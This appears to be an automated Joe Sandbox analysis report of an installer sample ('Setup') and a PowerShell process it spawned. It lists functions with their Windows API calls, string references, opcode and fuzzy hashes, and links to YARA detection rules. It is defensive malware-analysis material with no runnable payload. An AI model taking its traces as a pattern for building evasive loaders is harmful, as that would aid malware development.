Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: lstrcpyn$CreateFilelstrcmp
String ID: Version
API String ID: 512980652-315105994
Opcode ID: 4a1870cd75b7b8bbcc0c4c6a066d827f0aa8b2b5b5f43a101b4d9a41e631e9ca
Instruction ID: 151640cc4cfa07bb85738859349229c9473c158da19ee21f10eacb3052f8d035
Opcode Fuzzy Hash: 4a1870cd75b7b8bbcc0c4c6a066d827f0aa8b2b5b5f43a101b4d9a41e631e9ca
Instruction Fuzzy Hash: 3EF03172A0021CABDB109AA5DD46EEA777CAB44700F100476F600F6191E6B59E158BA5

Function 004032D2 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,00403703,00000001,?,?,?,00000000,00403A47,?), ref: 004032E5
GetTickCount.KERNEL32 ref: 00403303
CreateDialogParamW.USER32(0000006F,00000000,0040324C,00000000), ref: 00403320
ShowWindow.USER32(00000000,00000005,?,?,?,00000000,00403A47,?), ref: 0040332E

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 47d4170aef7bfd746f2c3ad407b5e1a24093745f4c41283d4ce41cd21e437078
Instruction ID: 401e6cecbc7a0b9e3d471fb50fe358663bd3ad25f9a7ebc527197863dd5a4904
Opcode Fuzzy Hash: 47d4170aef7bfd746f2c3ad407b5e1a24093745f4c41283d4ce41cd21e437078
Instruction Fuzzy Hash: 23F08230502620EBC221AF64FE5CBAB7F68FB04B82701447EF545F12A4CB7849928BDC

Function 00406365 Relevance: 6.0, APIs: 4, Instructions: 31memorylibraryloaderCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00002004,00000000,?,?,00402449,?,?,?,00000008,00000001,000000F0), ref: 00406370
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00002004,00000000,00000000,?,?,00402449,?,?,?,00000008,00000001), ref: 00406386
GetProcAddress.KERNEL32(?,00000000), ref: 00406395
GlobalFree.KERNEL32(00000000), ref: 0040639E

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Global$AddressAllocByteCharFreeMultiProcWide
String ID:
API String ID: 2883127279-0
Opcode ID: 9b9152501c533f071dd2545c5f3fa28dbd06be6ef0eddba5fde26ce4b08cefa4
Instruction ID: 581917a1a4a7218ca9fbbc4554f9bfb31441e22884f00dccc1ee77d568dea7f2
Opcode Fuzzy Hash: 9b9152501c533f071dd2545c5f3fa28dbd06be6ef0eddba5fde26ce4b08cefa4
Instruction Fuzzy Hash: 19E048712012107BE2101B669E8CD677EADDFCA7B6B05013EF695F51A0CE348C15D675

Function 00402797 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25stringCOMMON

Download Yara Rule

APIs

GetPrivateProfileStringW.KERNEL32(00000000,00000000,?,?,00002003,00000000), ref: 004027CD
lstrcmpW.KERNEL32(?,?,?,00002003,00000000,000000DD,00000012,00000001), ref: 004027D8

Strings

!N~, xrefs: 00402797

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: PrivateProfileStringlstrcmp
String ID: !N~
API String ID: 623250636-529124213
Opcode ID: 866873a94fae700ec207294a0f2462ae5c2747d97e8320b74985250fbb79316b
Instruction ID: 7cd271610f6b1cb64eb4c57d825f56a096f62725fe87e34e9129affe44791136
Opcode Fuzzy Hash: 866873a94fae700ec207294a0f2462ae5c2747d97e8320b74985250fbb79316b
Instruction Fuzzy Hash: 37E0E571500208ABDB00BBA0DE85DAE7BBCAF05304F14443AF641F71E3EA7459028718

Function 00405C3F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00457278,Error launching installer), ref: 00405C64
CloseHandle.KERNEL32(?), ref: 00405C71

Strings

Error launching installer, xrefs: 00405C48

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 47f41dc08d07e361b35e7f66cf96497c8c5e39d775029f064e59fed031f864e7
Instruction ID: c3c9ba135fb9cbcc5263534f4c07e322ce29f53e9eda4e03cc008bde6a4ec24c
Opcode Fuzzy Hash: 47f41dc08d07e361b35e7f66cf96497c8c5e39d775029f064e59fed031f864e7
Instruction Fuzzy Hash: 44E0EC70504209ABEF009B64EE49E7F7BBCEB00305F504575BD51E2561D774D9188A68

Function 004062A3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 004060E7: CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,004062D4,00000000), ref: 004060FE

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 004062A5, 004062AA

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: CloseHandlelstrlenwvsprintf
String ID: RMDir: RemoveDirectory invalid input("")
API String ID: 3509786178-2769509956
Opcode ID: 7e77ee9ca870ff99cdb2782ad16b85c265d3824fde99dea76e58772afe0e1651
Instruction ID: 8d95e7b1bd6a8fe250904a0927f32055e446839aab417a06e937ad69edd5bb19
Opcode Fuzzy Hash: 7e77ee9ca870ff99cdb2782ad16b85c265d3824fde99dea76e58772afe0e1651
Instruction Fuzzy Hash: 04D05E34150316BACA009BA0DE09E997B64FBD0384F50442EF147C5070FA748001C70E

Function 00405DB6 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DC6
lstrcmpiA.KERNEL32(?,?), ref: 00405DDE
CharNextA.USER32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DEF
lstrlenA.KERNEL32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DF8

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: f82830a26d6d2443e283ff34aa02cafdf5392a3ccdb3054c8558e2fdbecc5bb1
Instruction ID: 82a91399e33c41d3abe84131f59dcd741317d7299bce3ff9d06b8c6e92496674
Opcode Fuzzy Hash: f82830a26d6d2443e283ff34aa02cafdf5392a3ccdb3054c8558e2fdbecc5bb1
Instruction Fuzzy Hash: D5F0CD31205988EFCB019FA9CD04C9FBBA8EF56350B2180AAE840E7310D630EE01DBA4

Analysis Process: powershell.exePID: 3040, Parent PID: 5372COMMON

Executed Functions

Function 076B1798 Relevance: 14.6, Strings: 11, Instructions: 830COMMON

Download Yara Rule

Strings

4'cq, xrefs: 076B1DA6
tPcq, xrefs: 076B1815
4'cq, xrefs: 076B1DB0
4'cq, xrefs: 076B1F00
$cq, xrefs: 076B17DC
4'cq, xrefs: 076B1F0A
$cq, xrefs: 076B17AA
4'cq, xrefs: 076B1999
4'cq, xrefs: 076B19A5
tPcq, xrefs: 076B1821
$cq, xrefs: 076B17D0

Memory Dump Source

Source File: 00000010.00000002.2407358002.00000000076B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_76b0000_powershell.jbxd

Similarity

API ID:
String ID: 4'cq$4'cq$4'cq$4'cq$4'cq$4'cq$tPcq$tPcq$$cq$$cq$$cq
API String ID: 0-3634899438
Opcode ID: 540bf6a878e770bc17e97f861e2b76678df88c7afbc5e0978887f9ca96947ccd
Instruction ID: fe12540d8dfd69e1ba14241336e0a55eae9719e03832711f87101beec3cfb1e6
Opcode Fuzzy Hash: 540bf6a878e770bc17e97f861e2b76678df88c7afbc5e0978887f9ca96947ccd
Instruction Fuzzy Hash: A2425BB1704219AFC7399B7888216EBBBB6AFC7210F14806AD546CB351DB31D9D2C792

Function 076B2E20 Relevance: 2.7, Strings: 2, Instructions: 237COMMON

Download Yara Rule

Strings

4'cq, xrefs: 076B2F49
4'cq, xrefs: 076B2F3F

Memory Dump Source

Source File: 00000010.00000002.2407358002.00000000076B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_76b0000_powershell.jbxd

Similarity

API ID:
String ID: 4'cq$4'cq
API String ID: 0-60795322
Opcode ID: f9521e88aee6638b68170a1e84e7564b49db71b13498182fe865f98c3b431f21
Instruction ID: 5d828488c231e2008b252d5c0f439dddb12d2c8bfa973609d61816ad181e4bd8
Opcode Fuzzy Hash: f9521e88aee6638b68170a1e84e7564b49db71b13498182fe865f98c3b431f21
Instruction Fuzzy Hash: ED716AF17143028FCB355A7984217BABBE6AFC6210F18807AD547CB381DA35D8D687A2

Function 06CA5E30 Relevance: .5, Instructions: 487COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2405577536.0000000006CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6ca0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 360a22fcf1427e4e0479cada74f8ebb62b47f77672f370a6551aaf122b85dc54
Instruction ID: 9d47e4d4177d39f51ed9ec723fa19d2fab045dd5afd9cad05c5686881df8b6af
Opcode Fuzzy Hash: 360a22fcf1427e4e0479cada74f8ebb62b47f77672f370a6551aaf122b85dc54
Instruction Fuzzy Hash: 85122B74A002199FCB54CF99C494AAEFBF2FF88314F298159E849AB351C735ED81CB90

Function 06CA4900 Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2405577536.0000000006CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6ca0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cdcf7a9505764563028ab47129219d948a7e41946b9eadc0595150581d727bfd
Instruction ID: 6fce05c943d20eaaea04e0f73311097c24e4b95d5ee114c37a1a6e5900fa4109
Opcode Fuzzy Hash: cdcf7a9505764563028ab47129219d948a7e41946b9eadc0595150581d727bfd
Instruction Fuzzy Hash: AED14974E012099FCB45DFA8D584A9DFBF2AF88314F24C169E844AB361C770ED45CB90

Function 06CA4998 Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2405577536.0000000006CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6ca0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37891d0d54dd14026919a8faa71dcc9d3173c0cb3f78f4371a6bb992e7acb5e0
Instruction ID: 6c8397ff08fed4a66bb37b0dcc73a5e038c71ba81dddb671cf714dbea9fab5a2
Opcode Fuzzy Hash: 37891d0d54dd14026919a8faa71dcc9d3173c0cb3f78f4371a6bb992e7acb5e0
Instruction Fuzzy Hash: 5F514834E012199FCB58CFA8D580A9DFBF2AF88314F15C169E819AB311C771AD41CB94

Function 076B1A54 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2407358002.00000000076B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_76b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cde41ac9745dba220d6aa1f18dc44afb9dff910ca179d91dc8c0040845058fbb
Instruction ID: 0a74d7e162b0191249901d9f7e758f42dc65ed389f87b1d00ccf6d0c1c8f6c15
Opcode Fuzzy Hash: cde41ac9745dba220d6aa1f18dc44afb9dff910ca179d91dc8c0040845058fbb
Instruction Fuzzy Hash: 2A4108F1A10209EBCB3D8F3585657AA7BA1DF87254F0880A6D4029F355D735D8D2CBE1

Function 06CA33F0 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2405577536.0000000006CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6ca0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a9cb92ff4d22d2ba67aa3442db3b57a8b31f412ad1979e43710c62098a862d3
Instruction ID: a57f377bd12c62633bf14d3133417be6a3a1648e0b04ce11c4e6385c56fc10e6
Opcode Fuzzy Hash: 2a9cb92ff4d22d2ba67aa3442db3b57a8b31f412ad1979e43710c62098a862d3
Instruction Fuzzy Hash: 69414C74A006458FCB0ACF58C4A4AAEFBB1FF48314B158199D819AB364C736FD50CFA4

Function 06CA3400 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2405577536.0000000006CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6ca0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b110cba06df1c0e9036207a3ea73c2963e084de2409b7230123cc5bbcb90857
Instruction ID: 59dbb704437d26148e5dff3ee9cc50ec8ad14e3a9bbfe7cfe30069a8c2631f02
Opcode Fuzzy Hash: 8b110cba06df1c0e9036207a3ea73c2963e084de2409b7230123cc5bbcb90857
Instruction Fuzzy Hash: D0412B74A006069FCB09CF58C4A4AAEFBB2FF48314B158159D919AB364C736FD50CFA4

Function 06CA2A68 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2405577536.0000000006CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6ca0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3e20c6dc19e75a5104a0b573e16cee634cae63cd61645f20f4bd3de4e7c7136
Instruction ID: 3bfe6b51a660e2db0b19930c16b24a438678493197024cdc51e634b95a3ddf52
Opcode Fuzzy Hash: e3e20c6dc19e75a5104a0b573e16cee634cae63cd61645f20f4bd3de4e7c7136
Instruction Fuzzy Hash: 75316074A09385DFCB02CF58C8949A9BFB1FF4A310B19419AD449EB362C335AD55CBA1

Function 06CA2AB0 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2405577536.0000000006CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6ca0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bcc12434ecc89b9203ee0c39be12b832724bb3fbc9c9561b73c0c2cfaba3c129
Instruction ID: 14e933a453a04907835719e594cf303167ff5219f5c0f7a613a72e2f305f1bb3
Opcode Fuzzy Hash: bcc12434ecc89b9203ee0c39be12b832724bb3fbc9c9561b73c0c2cfaba3c129
Instruction Fuzzy Hash: 5B213974A0021A9FCB00CF98C894AAEFBB1FF48310B1481AAD409EB351C735ED41CBA0

Function 076B3000 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2407358002.00000000076B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_76b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3993a9f8c2a50952eae9a5f1fb88e69d0b756cc0fd723271dfde42bf84c39a4
Instruction ID: 8ea0febde7b4bd5b4462fe785d481208c21da259228035efb13bf9bedcfe0d35
Opcode Fuzzy Hash: a3993a9f8c2a50952eae9a5f1fb88e69d0b756cc0fd723271dfde42bf84c39a4
Instruction Fuzzy Hash: 4C1127F17083812FD72606365851B967FAA8FD3724F1880A6E686DB3D3D578D8988372

Function 06CA48F0 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2405577536.0000000006CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6ca0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e24f34a429729c7794b707bf3dbd977576d5ac2f8a3d9e8e6aef4ed913360cc
Instruction ID: deb086a539fc211c3050fda7871e20169e20367a7d6be4973b072918e39bfac1
Opcode Fuzzy Hash: 7e24f34a429729c7794b707bf3dbd977576d5ac2f8a3d9e8e6aef4ed913360cc
Instruction Fuzzy Hash: 77213D78A0020A8FCB04CF99D9909AEFBF5FF89310B158199E959EB351C731ED51CBA1

Function 0300D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2402214826.000000000300D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0300D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_300d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6db4a93bf82841e46bede783c379d77824932350472fb281724ea43c14653c16
Instruction ID: 4252bfa2e42ea715b91a14912da799423d143261d5de801f72a5181a659b29c7
Opcode Fuzzy Hash: 6db4a93bf82841e46bede783c379d77824932350472fb281724ea43c14653c16
Instruction Fuzzy Hash: 4201DF7140A3009AF7108AA9CA84B66BFD8EF41360F1CC85AED4C0A282C6789845C6B1

Function 0300D007 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2402214826.000000000300D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0300D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_300d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0fdae97485e6c1df2ee963f932424737ca7237b9c2fb72fa5d6b24779247f1a7
Instruction ID: bc3b1fbde6ec32bdfaede99ecde3c87ae6ef217f7b4a41f348c18ee53ccf00ba
Opcode Fuzzy Hash: 0fdae97485e6c1df2ee963f932424737ca7237b9c2fb72fa5d6b24779247f1a7
Instruction Fuzzy Hash: 6C012D7140E3C05EE7128B258994B52BFB4EF43224F1D80CBD8888F1A3C2699849C772

Non-executed Functions

Function 076B08A0 Relevance: 9.1, Strings: 7, Instructions: 321COMMON

Download Yara Rule

Strings

$cq, xrefs: 076B0AA8
tPcq, xrefs: 076B0AF9
4'cq, xrefs: 076B09AE
$cq, xrefs: 076B0AB4
tPcq, xrefs: 076B0AED
4'cq, xrefs: 076B09A2
$cq, xrefs: 076B0A82

Memory Dump Source

Source File: 00000010.00000002.2407358002.00000000076B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_76b0000_powershell.jbxd

Similarity

API ID:
String ID: 4'cq$4'cq$tPcq$tPcq$$cq$$cq$$cq
API String ID: 0-4181668518
Opcode ID: 50a34ea3cb065f2d7d5d13974683b3c24ac8c2245325046f3a31d52946683d31
Instruction ID: 03a0ec919a13bb60324225aff2da1007292fbb3364cbfd8fa4178035a5c0c143
Opcode Fuzzy Hash: 50a34ea3cb065f2d7d5d13974683b3c24ac8c2245325046f3a31d52946683d31
Instruction Fuzzy Hash: B5A16AB17042158FC7355A7984116ABBFB6AFC7214F1880ABD456CB392DB32CC91C7A1

Function 076B04EC Relevance: 7.6, Strings: 6, Instructions: 81COMMON

Download Yara Rule

Strings

4'cq, xrefs: 076B0553
4'cq, xrefs: 076B055F
4'cq, xrefs: 076B05DB
4'cq, xrefs: 076B05E7
$cq, xrefs: 076B05C6
$cq, xrefs: 076B05BA

Memory Dump Source

Source File: 00000010.00000002.2407358002.00000000076B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_76b0000_powershell.jbxd

Similarity

API ID:
String ID: 4'cq$4'cq$4'cq$4'cq$$cq$$cq
API String ID: 0-297309781
Opcode ID: 97bf126c3e0a19e3347bb3e8616922736d7078d4f8afc2655b4621298095ae1d
Instruction ID: 7169025e2ad34f62a00c1f6962bd7f368ea32cb7b6221387b25de9c194385a75
Opcode Fuzzy Hash: 97bf126c3e0a19e3347bb3e8616922736d7078d4f8afc2655b4621298095ae1d
Instruction Fuzzy Hash: C41127F37151164FC736123C29201FB5F636BD75607A901ABC183DBB82CD258CC643A2

Function 076B14E8 Relevance: 6.4, Strings: 5, Instructions: 189COMMON

Download Yara Rule

Strings

$cq, xrefs: 076B16A6
4'cq, xrefs: 076B1592
4'cq, xrefs: 076B159E
$cq, xrefs: 076B169A
$cq, xrefs: 076B166F

Memory Dump Source

Source File: 00000010.00000002.2407358002.00000000076B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_76b0000_powershell.jbxd

Similarity

API ID:
String ID: 4'cq$4'cq$$cq$$cq$$cq
API String ID: 0-838516036
Opcode ID: fe7645c88e753cde02d53120948a080cf444c1d505d08c298ce539355c52138a
Instruction ID: f9734a24d52db4484e0a4abce3f7b3400e3a24c4cfd28667377168323f562b4c
Opcode Fuzzy Hash: fe7645c88e753cde02d53120948a080cf444c1d505d08c298ce539355c52138a
Instruction Fuzzy Hash: B2512BF271420AAFCB39567D84217A6BBB6AFC7211F28806BD457D7341EA31C8D2C791

Function 06CA0EA0 Relevance: 6.3, Strings: 5, Instructions: 80COMMON

Download Yara Rule

Strings

p, xrefs: 06CA0F3A
p, xrefs: 06CA0EEA
p, xrefs: 06CA0EBA
p, xrefs: 06CA0EDA
p, xrefs: 06CA0F2A

Memory Dump Source

Source File: 00000010.00000002.2405577536.0000000006CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6ca0000_powershell.jbxd

Similarity

API ID:
String ID: p$p$p$p$p
API String ID: 0-945622192
Opcode ID: 91c4429241c2c735bb32c4826f1d671195c71f335a98a97e5c7bac10c5b858f0
Instruction ID: 5b7ffe7cfb00da50b185c15baa42454d88d635f04c9f8f90876fe6f6bbd08dd7
Opcode Fuzzy Hash: 91c4429241c2c735bb32c4826f1d671195c71f335a98a97e5c7bac10c5b858f0
Instruction Fuzzy Hash: B6214566C0E3E24FD353923868A92D57F648B5319CB0603DBC8D8DF4A3E508190EC7A6

Function 076B3518 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$cq, xrefs: 076B3546
$cq, xrefs: 076B352A
$cq, xrefs: 076B3580
$cq, xrefs: 076B3574

Memory Dump Source

Source File: 00000010.00000002.2407358002.00000000076B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_76b0000_powershell.jbxd

Similarity

API ID:
String ID: $cq$$cq$$cq$$cq
API String ID: 0-2876200767
Opcode ID: c1dc5136dd46c17c0f930553cfd689b8571c83e38d0878f42b459aa117ff2242
Instruction ID: 76d08ce7f45fa1bbdf2d562d8f9cfd6fb375453b0c5c6174ffc00399756f8684
Opcode Fuzzy Hash: c1dc5136dd46c17c0f930553cfd689b8571c83e38d0878f42b459aa117ff2242
